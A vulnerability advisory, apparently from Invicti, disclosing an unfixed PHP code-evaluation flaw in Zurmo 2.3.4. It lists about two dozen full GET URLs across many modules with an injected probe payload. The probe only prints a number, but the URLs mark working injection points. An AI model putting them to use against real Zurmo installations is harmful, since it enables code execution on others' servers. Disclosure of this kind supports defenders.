Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Code Evolution (PHP) in Zurmo 2.3.4
Affected Software: Zurmo
Affected Versions: 2.3.4
Homepage: http://zurmo.org/
Vulnerability: Code evolution (PHP)
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H
Invicti Advisory Reference: NS-18-034

Technical Details
--------------------

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Account_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Account_page=2
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Account_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Account_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Account_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Account_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Contact_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=&Contact_page=2
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:  "+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/?EmailTemplate_page=&EmailTemplate_sort=&EmailTemplatesSearchForm%5BanyMixedAttributesScope%5D%5B%5D=name&EmailTemplatesSearchForm%5BanyMixedAttributes%5D=netsparker%40example.com&YII_CSRF_TOKEN=35554a192c7a2ba908aebaede4e0df12a7e5d5ae&ajax=list-view&clearingSearch=&multiselect_EmailTemplatesSearchForm_anyMixedAttributesScope=All&selectedIds=print(int)0xFFF9999-22
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: print(int)0xFFF9999-22

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_contactEmailTemplateNames_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_contactEmailTemplateNames_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern:'+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_contactEmailTemplateNames_id&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_contactEmailTemplateNames_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:"+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Opportunity_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Opportunity_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type:  GET
Attack Pattern:"+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Opportunity_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Opportunity_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern:  '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Opportunity_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Opportunity_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern:  '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_marketingList_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name:  modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_marketingList_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_marketingList_id&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_marketingList_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Product_contact_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name:  modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern:  '+print(int)0xFFF9999-22+'

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_contact_id&modalTransferInformation%5BsourceNameFieldId%5D=Product_contact_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:  "+print(int)0xFFF9999-22+"

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_productTemplate_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_productTemplate_id&modalTransferInformation%5BsourceNameFieldId%5D=Product_productTemplate_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:  "+print(int)0xFFF9999-22+"

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Product_productTemplate_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/?User_page=&User_sort=&ajax=list-view&selectedIds=print(int)0xFFF9999-22
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: print(int)0xFFF9999-22

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Task_owner_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&User_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern:  '+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Task_owner_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&User_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern:'+print(int)0xFFF9999-22+'

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Task_owner_id&modalTransferInformation%5BsourceNameFieldId%5D=Task_owner_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&User_page=2
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"

For more information on Code Evolution (PHP) vulnerabilities read the article Code Evaluation (PHP).

Advisory Timeline
--------------------

12th November 2018 - First Contact Attempt
2nd January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.